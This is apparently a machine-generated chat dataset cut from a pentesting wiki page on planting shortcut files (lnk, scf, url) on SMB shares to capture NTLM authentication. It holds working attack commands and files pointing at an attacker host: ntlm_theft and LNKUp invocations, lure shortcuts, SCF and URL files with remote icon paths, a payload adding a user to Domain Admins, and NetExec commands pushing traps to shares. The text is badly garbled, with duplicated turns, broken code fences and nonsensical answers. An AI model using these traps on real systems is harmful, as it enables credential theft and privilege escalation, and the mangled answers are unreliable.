[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about 🛠 Living off the land - Shortcut files (scf, lnk, url)

[Assistant]
SMB shares can be trapped with shortcut files that will automatically be handled by Windows' file explorer (e.g. a URL shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary). This leads to an outgoing traffic using SMB.

> [!TIP]
> Shares an account has WRITE privileges over can be mapped with smbmap (Python).
>
> ``bash
> smbmap -d "domain" -u "user" -p "password" --host-file targets.txt
> `

> [!TIP]
> Shortcut file names can be preprended with a @ symbol to put them on top of the share, to make sure the file explorer has to parse it.

> [!TIP]
> The ntlm_theft (Python) tool can be used to generate multiple file types at once (lnk, scf, url, docx, xslx, htm, xml, pdf, ...).
>
> `bash
> ntlm_theft.py --generate all --server $ATTACKER_IP --filename "@FILENAME"
> `

::: tabs

=== .lnk

An LNK shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

> Shortcuts with the .lnk extension have a lot of beneficial properties when it comes to stealth; they are an exception#Microsoft_Windows) from the Windows setting to show or hide file extensions. Even when “hide known file extensions” is disabled, explorer.exe will only show the name, allowing us to let it end in “.jpeg”. A major downside is that they only allow 1024 characters for the whole command they execute. (source)

LNKUp (Python) is a great tool to generate malicious LNK shortcuts. They can be set with a remote icon file to generate outgoing SMB traffic and authentications but can also be set to execute commands when opened (i.e. double-clicked).

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about 🛠 Living off the land - Shortcut files (scf, lnk, url)

Response:
SMB shares can be trapped with shortcut files that will automatically be handled by Windows' file explorer (e.g. a URL shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary). This leads to an outgoing traffic using SMB.

> [!TIP]
> Shares an account has WRITE privileges over can be mapped with smbmap (Python).
>
> ``bash
> smbmap -d "domain" -u "user" -p "password" --host-file targets.txt
> `

> [!TIP]
> Shortcut file names can be preprended with a @ symbol to put them on top of the share, to make sure the file explorer has to parse it.

> [!TIP]
> The ntlm_theft (Python) tool can be used to generate multiple file types at once (lnk, scf, url, docx, xslx, htm, xml, pdf, ...).
>
> `bash
> ntlm_theft.py --generate all --server $ATTACKER_IP --filename "@FILENAME"
> `

::: tabs

=== .lnk

An LNK shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

> Shortcuts with the .lnk extension have a lot of beneficial properties when it comes to stealth; they are an exception#Microsoft_Windows) from the Windows setting to show or hide file extensions. Even when “hide known file extensions” is disabled, explorer.exe will only show the name, allowing us to let it end in “.jpeg”. A major downside is that they only allow 1024 characters for the whole command they execute. (source)

LNKUp (Python) is a great tool to generate malicious LNK shortcuts. They can be set with a remote icon file to generate outgoing SMB traffic and authentications but can also be set to execute commands when opened (i.e. double-clicked).

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through 🛠 Living off the land - Shortcut files (scf, lnk, url)

[Assistant]
SMB shares can be trapped with shortcut files that will automatically be handled by Windows' file explorer (e.g. a URL shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary). This leads to an outgoing traffic using SMB.

> [!TIP]
> Shares an account has WRITE privileges over can be mapped with smbmap (Python).
>
> ``bash
> smbmap -d "domain" -u "user" -p "password" --host-file targets.txt
> `

> [!TIP]
> Shortcut file names can be preprended with a @ symbol to put them on top of the share, to make sure the file explorer has to parse it.

> [!TIP]
> The ntlm_theft (Python) tool can be used to generate multiple file types at once (lnk, scf, url, docx, xslx, htm, xml, pdf, ...).
>
> `bash
> ntlm_theft.py --generate all --server $ATTACKER_IP --filename "@FILENAME"
> `

::: tabs

=== .lnk

An LNK shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

> Shortcuts with the .lnk extension have a lot of beneficial properties when it comes to stealth; they are an exception#Microsoft_Windows) from the Windows setting to show or hide file extensions. Even when “hide known file extensions” is disabled, explorer.exe will only show the name, allowing us to let it end in “.jpeg”. A major downside is that they only allow 1024 characters for the whole command they execute. (source)

LNKUp (Python) is a great tool to generate malicious LNK shortcuts. They can be set with a remote icon file to generate outgoing SMB traffic and authentications but can also be set to execute commands when opened (i.e. double-clicked).

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through 🛠 Living off the land - Shortcut files (scf, lnk, url)

Response:
SMB shares can be trapped with shortcut files that will automatically be handled by Windows' file explorer (e.g. a URL shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary). This leads to an outgoing traffic using SMB.

> [!TIP]
> Shares an account has WRITE privileges over can be mapped with smbmap (Python).
>
> ``bash
> smbmap -d "domain" -u "user" -p "password" --host-file targets.txt
> `

> [!TIP]
> Shortcut file names can be preprended with a @ symbol to put them on top of the share, to make sure the file explorer has to parse it.

> [!TIP]
> The ntlm_theft (Python) tool can be used to generate multiple file types at once (lnk, scf, url, docx, xslx, htm, xml, pdf, ...).
>
> `bash
> ntlm_theft.py --generate all --server $ATTACKER_IP --filename "@FILENAME"
> `

::: tabs

=== .lnk

An LNK shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

> Shortcuts with the .lnk extension have a lot of beneficial properties when it comes to stealth; they are an exception#Microsoft_Windows) from the Windows setting to show or hide file extensions. Even when “hide known file extensions” is disabled, explorer.exe will only show the name, allowing us to let it end in “.jpeg”. A major downside is that they only allow 1024 characters for the whole command they execute. (source)

LNKUp (Python) is a great tool to generate malicious LNK shortcuts. They can be set with a remote icon file to generate outgoing SMB traffic and authentications but can also be set to execute commands when opened (i.e. double-clicked).

``bash


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the smbmap syntax for 🛠 living off the land - shortcut files (scf, lnk, url)?

[Assistant]
> smbmap -d "domain" -u "user" -p "password" --host-file targets.txt
> ```

> [!TIP]
> Shortcut file names can be preprended with a `@` symbol to put them on top of the share, to make sure the file explorer has to parse it.

> [!TIP]
> The [ntlm_theft](https://github.com/Greenwolf/ntlm_theft) (Python) tool can be used to generate multiple file types at once (lnk, scf, url, docx, xslx, htm, xml, pdf, ...).
>
> ```bash
> ntlm_theft.py --generate all --server $ATTACKER_IP --filename "@FILENAME"
> ```

::: tabs

=== .lnk

An LNK shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

> Shortcuts with the .lnk extension have a lot of beneficial properties when it comes to stealth; [they are an exception](https://en.wikipedia.org/wiki/Shortcut_(computing)#Microsoft_Windows) from the Windows setting to show or hide file extensions. Even when “hide known file extensions” is disabled, explorer.exe will only show the name, allowing us to let it end in “.jpeg”. A major downside is that they only allow 1024 characters for the whole command they execute. ([source](https://hatching.io/blog/lnk-hta-polyglot/))

[LNKUp](https://github.com/Plazmaz/LNKUp) (Python) is a great tool to generate malicious LNK shortcuts. They can be set with a remote icon file to generate outgoing SMB traffic and authentications but can also be set to execute commands when opened (i.e. double-clicked).

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the smbmap syntax for 🛠 living off the land - shortcut files (scf, lnk, url)?

Response:
> smbmap -d "domain" -u "user" -p "password" --host-file targets.txt
> ```

> [!TIP]
> Shortcut file names can be preprended with a `@` symbol to put them on top of the share, to make sure the file explorer has to parse it.

> [!TIP]
> The [ntlm_theft](https://github.com/Greenwolf/ntlm_theft) (Python) tool can be used to generate multiple file types at once (lnk, scf, url, docx, xslx, htm, xml, pdf, ...).
>
> ```bash
> ntlm_theft.py --generate all --server $ATTACKER_IP --filename "@FILENAME"
> ```

::: tabs

=== .lnk

An LNK shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

> Shortcuts with the .lnk extension have a lot of beneficial properties when it comes to stealth; [they are an exception](https://en.wikipedia.org/wiki/Shortcut_(computing)#Microsoft_Windows) from the Windows setting to show or hide file extensions. Even when “hide known file extensions” is disabled, explorer.exe will only show the name, allowing us to let it end in “.jpeg”. A major downside is that they only allow 1024 characters for the whole command they execute. ([source](https://hatching.io/blog/lnk-hta-polyglot/))

[LNKUp](https://github.com/Plazmaz/LNKUp) (Python) is a great tool to generate malicious LNK shortcuts. They can be set with a remote icon file to generate outgoing SMB traffic and authentications but can also be set to execute commands when opened (i.e. double-clicked).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute 🛠 Living off the land - Shortcut files (scf, lnk, url)?

[Assistant]
> smbmap -d "domain" -u "user" -p "password" --host-file targets.txt
> ```

> [!TIP]
> Shortcut file names can be preprended with a `@` symbol to put them on top of the share, to make sure the file explorer has to parse it.

> [!TIP]
> The [ntlm_theft](https://github.com/Greenwolf/ntlm_theft) (Python) tool can be used to generate multiple file types at once (lnk, scf, url, docx, xslx, htm, xml, pdf, ...).
>
> ```bash
> ntlm_theft.py --generate all --server $ATTACKER_IP --filename "@FILENAME"
> ```

::: tabs

=== .lnk

An LNK shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

> Shortcuts with the .lnk extension have a lot of beneficial properties when it comes to stealth; [they are an exception](https://en.wikipedia.org/wiki/Shortcut_(computing)#Microsoft_Windows) from the Windows setting to show or hide file extensions. Even when “hide known file extensions” is disabled, explorer.exe will only show the name, allowing us to let it end in “.jpeg”. A major downside is that they only allow 1024 characters for the whole command they execute. ([source](https://hatching.io/blog/lnk-hta-polyglot/))

[LNKUp](https://github.com/Plazmaz/LNKUp) (Python) is a great tool to generate malicious LNK shortcuts. They can be set with a remote icon file to generate outgoing SMB traffic and authentications but can also be set to execute commands when opened (i.e. double-clicked).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute 🛠 Living off the land - Shortcut files (scf, lnk, url)?

Response:
> smbmap -d "domain" -u "user" -p "password" --host-file targets.txt
> ```

> [!TIP]
> Shortcut file names can be preprended with a `@` symbol to put them on top of the share, to make sure the file explorer has to parse it.

> [!TIP]
> The [ntlm_theft](https://github.com/Greenwolf/ntlm_theft) (Python) tool can be used to generate multiple file types at once (lnk, scf, url, docx, xslx, htm, xml, pdf, ...).
>
> ```bash
> ntlm_theft.py --generate all --server $ATTACKER_IP --filename "@FILENAME"
> ```

::: tabs

=== .lnk

An LNK shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

> Shortcuts with the .lnk extension have a lot of beneficial properties when it comes to stealth; [they are an exception](https://en.wikipedia.org/wiki/Shortcut_(computing)#Microsoft_Windows) from the Windows setting to show or hide file extensions. Even when “hide known file extensions” is disabled, explorer.exe will only show the name, allowing us to let it end in “.jpeg”. A major downside is that they only allow 1024 characters for the whole command they execute. ([source](https://hatching.io/blog/lnk-hta-polyglot/))

[LNKUp](https://github.com/Plazmaz/LNKUp) (Python) is a great tool to generate malicious LNK shortcuts. They can be set with a remote icon file to generate outgoing SMB traffic and authentications but can also be set to execute commands when opened (i.e. double-clicked).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `> smbmap -d "domain" -u "user" -p "password" --host-file targets.txt`?

[Assistant] This command is used for 🛠 living off the land - shortcut files (scf, lnk, url). Shortcut files (scf, lnk, url)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `> smbmap -d "domain" -u "user" -p "password" --host-file targets.txt`?

Response: This command is used for 🛠 living off the land - shortcut files (scf, lnk, url). Shortcut files (scf, lnk, url)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Simple SMB trap with remote icon file?

[Assistant] LNKUp.py --host $ATTACKER_IP --type ntlm --output '@CONFIDENTIAL-ACCOUNTS.txt.lnk'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is Simple SMB trap with remote icon file?

Response: LNKUp.py --host $ATTACKER_IP --type ntlm --output '@CONFIDENTIAL-ACCOUNTS.txt.lnk'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Simple SMB trap with remote icon file

[Assistant] LNKUp.py --host $ATTACKER_IP --type ntlm --output '@CONFIDENTIAL-ACCOUNTS.txt.lnk'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Simple SMB trap with remote icon file

Response: LNKUp.py --host $ATTACKER_IP --type ntlm --output '@CONFIDENTIAL-ACCOUNTS.txt.lnk'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is SMB trap + command execution?

[Assistant]
LNKUp.py --host $ATTACKER_IP --type ntlm --output '@CONFIDENTIAL-ACCOUNTS.txt.lnk' --execute "net group 'Domain Admins' Pentester01 /domain /add"
``

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
LNKUp.py --host $ATTACKER_IP --type ntlm --output '@CONFIDENTIAL-ACCOUNTS.txt.lnk' --execute "net group 'Domain Admins' Pentester01 /domain /add"
``

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for SMB trap + command execution

[Assistant]
LNKUp.py --host $ATTACKER_IP --type ntlm --output '@CONFIDENTIAL-ACCOUNTS.txt.lnk' --execute "net group 'Domain Admins' Pentester01 /domain /add"
``

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for SMB trap + command execution

Response:
LNKUp.py --host $ATTACKER_IP --type ntlm --output '@CONFIDENTIAL-ACCOUNTS.txt.lnk' --execute "net group 'Domain Admins' Pentester01 /domain /add"
``

``bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Simple SMB trap with remote icon file (Powershell)

[Assistant]
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\Windows\temp\@Salaries-2023.lnk")
$lnk.TargetPath = "\\\@icon.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Salaries-2023."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
``

> [!TIP]
> Advanced traps
>
> * LNK files can be mixed with some VBA: Pwned by Shortcut
> * LNK files can be mixed with some HTA: LNK HTA Polyglot

NetExec (Python) can be used to automatically push LNK files to a writeable share.

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Simple SMB trap with remote icon file (Powershell)

Response:
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\Windows\temp\@Salaries-2023.lnk")
$lnk.TargetPath = "\\\@icon.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Salaries-2023."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
``

> [!TIP]
> Advanced traps
>
> * LNK files can be mixed with some VBA: Pwned by Shortcut
> * LNK files can be mixed with some HTA: LNK HTA Polyglot

NetExec (Python) can be used to automatically push LNK files to a writeable share.

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Simple SMB trap with remote icon file (Powershell)?

[Assistant]
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\Windows\temp\@Salaries-2023.lnk")
$lnk.TargetPath = "\\\@icon.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Salaries-2023."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
``

> [!TIP]
> Advanced traps
>
> * LNK files can be mixed with some VBA: Pwned by Shortcut
> * LNK files can be mixed with some HTA: LNK HTA Polyglot

NetExec (Python) can be used to automatically push LNK files to a writeable share.

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Simple SMB trap with remote icon file (Powershell)?

Response:
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\Windows\temp\@Salaries-2023.lnk")
$lnk.TargetPath = "\\\@icon.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Salaries-2023."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
``

> [!TIP]
> Advanced traps
>
> * LNK files can be mixed with some VBA: Pwned by Shortcut
> * LNK files can be mixed with some HTA: LNK HTA Polyglot

NetExec (Python) can be used to automatically push LNK files to a writeable share.

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Simple SMB trap with remote icon file (Powershell)?

[Assistant]
> [!TIP]
> Advanced traps
>
> * LNK files can be mixed with some VBA: [Pwned by Shortcut](https://medium.com/secjuice/pwned-by-a-shortcut-b21473970944)
> * LNK files can be mixed with some HTA: [LNK HTA Polyglot](https://hatching.io/blog/lnk-hta-polyglot/)

[NetExec](https://github.com/Pennyw0rth/NetExec) (Python) can be used to automatically push LNK files to a writeable share.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
> [!TIP]
> Advanced traps
>
> * LNK files can be mixed with some VBA: [Pwned by Shortcut](https://medium.com/secjuice/pwned-by-a-shortcut-b21473970944)
> * LNK files can be mixed with some HTA: [LNK HTA Polyglot](https://hatching.io/blog/lnk-hta-polyglot/)

[NetExec](https://github.com/Pennyw0rth/NetExec) (Python) can be used to automatically push LNK files to a writeable share.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `> [!TIP]`?

[Assistant] This command is used for simple smb trap with remote icon file (powershell). Simple SMB trap with remote icon file (Powershell)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for simple smb trap with remote icon file (powershell). Simple SMB trap with remote icon file (Powershell)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Creation & upload?

[Assistant] nxc smb "target" -d "domain" -u "user" -p "password" -M slinky -O NAME="SHARE" SERVER="ATTACKER_IP"

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: nxc smb "target" -d "domain" -u "user" -p "password" -M slinky -O NAME="SHARE" SERVER="ATTACKER_IP"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Creation & upload

[Assistant] nxc smb "target" -d "domain" -u "user" -p "password" -M slinky -O NAME="SHARE" SERVER="ATTACKER_IP"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: nxc smb "target" -d "domain" -u "user" -p "password" -M slinky -O NAME="SHARE" SERVER="ATTACKER_IP"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Cleanup

[Assistant]
nxc smb "target" -d "domain" -u "user" -p "password" -M slinky -O NAME="SHARE" SERVER="ATTACKER_IP" CLEANUP=True
``

=== .scf

An SCF shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

`bash
[Shell]
Command=2
IconFile=\\$ATTACKER_IP\something\something.ico
[Taskbar]
Command=ToggleDesktop
`

=== .url

A URL shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

`bash
[InternetShortcut]
URL=https://www.thehacker.recipes/
IconIndex=0
IconFile=\\$ATTACKER_IP\something\something.ico
``

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
nxc smb "target" -d "domain" -u "user" -p "password" -M slinky -O NAME="SHARE" SERVER="ATTACKER_IP" CLEANUP=True
``

=== .scf

An SCF shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

`bash
[Shell]
Command=2
IconFile=\\$ATTACKER_IP\something\something.ico
[Taskbar]
Command=ToggleDesktop
`

=== .url

A URL shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

`bash
[InternetShortcut]
URL=https://www.thehacker.recipes/
IconIndex=0
IconFile=\\$ATTACKER_IP\something\something.ico
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Cleanup during a pentest?

[Assistant]
nxc smb "target" -d "domain" -u "user" -p "password" -M slinky -O NAME="SHARE" SERVER="ATTACKER_IP" CLEANUP=True
``

=== .scf

An SCF shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

`bash
[Shell]
Command=2
IconFile=\\$ATTACKER_IP\something\something.ico
[Taskbar]
Command=ToggleDesktop
`

=== .url

A URL shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

`bash
[InternetShortcut]
URL=https://www.thehacker.recipes/
IconIndex=0
IconFile=\\$ATTACKER_IP\something\something.ico
``

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Cleanup during a pentest?

Response:
nxc smb "target" -d "domain" -u "user" -p "password" -M slinky -O NAME="SHARE" SERVER="ATTACKER_IP" CLEANUP=True
``

=== .scf

An SCF shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

`bash
[Shell]
Command=2
IconFile=\\$ATTACKER_IP\something\something.ico
[Taskbar]
Command=ToggleDesktop
`

=== .url

A URL shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

`bash
[InternetShortcut]
URL=https://www.thehacker.recipes/
IconIndex=0
IconFile=\\$ATTACKER_IP\something\something.ico
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Cleanup?

[Assistant]
=== .scf

An SCF shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
=== .scf

An SCF shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== .scf`?

[Assistant] This command is used for cleanup. Cleanup

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for cleanup. Cleanup


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Cleanup during a pentest?

[Assistant]
=== .url

A URL shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
=== .url

A URL shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== .url`?

[Assistant] This command is used for cleanup. Cleanup

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for cleanup. Cleanup


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about 🛠 Living off the land - PDF documents

[Assistant]
https://github.com/deepzec/Bad-Pdf

https://github.com/3gstudent/Worse-PDF

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about 🛠 Living off the land - PDF documents

Response:
https://github.com/deepzec/Bad-Pdf

https://github.com/3gstudent/Worse-PDF


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform 🛠 Living off the land - PDF documents?

[Assistant]
https://github.com/deepzec/Bad-Pdf

https://github.com/3gstudent/Worse-PDF

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform 🛠 Living off the land - PDF documents?

Response:
https://github.com/deepzec/Bad-Pdf

https://github.com/3gstudent/Worse-PDF


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is 🛠 Living off the land - Lock screen wallpaper?

[Assistant]
https://github.com/nccgroup/Change-Lockscreen

https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is 🛠 Living off the land - Lock screen wallpaper?

Response:
https://github.com/nccgroup/Change-Lockscreen

https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform 🛠 Living off the land - Lock screen wallpaper?

[Assistant]
https://github.com/nccgroup/Change-Lockscreen

https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform 🛠 Living off the land - Lock screen wallpaper?

Response:
https://github.com/nccgroup/Change-Lockscreen

https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does LLMNR, NBT-NS, mDNS spoofing work?

[Assistant]
In some environments (like Windows ones), multicast name resolution protocols are enabled by default, such as LLMNR (Local-Link Multicast Name Resolution), NBT-NS (NetBIOS Name Service) and mDNS (multicast Domain Name System). Those environments can fallback to those protocols when standard domain name resolution protocols fail. Windows systems attempt to resolve names in the following order: DNS, LLMNR and NBT-NS.

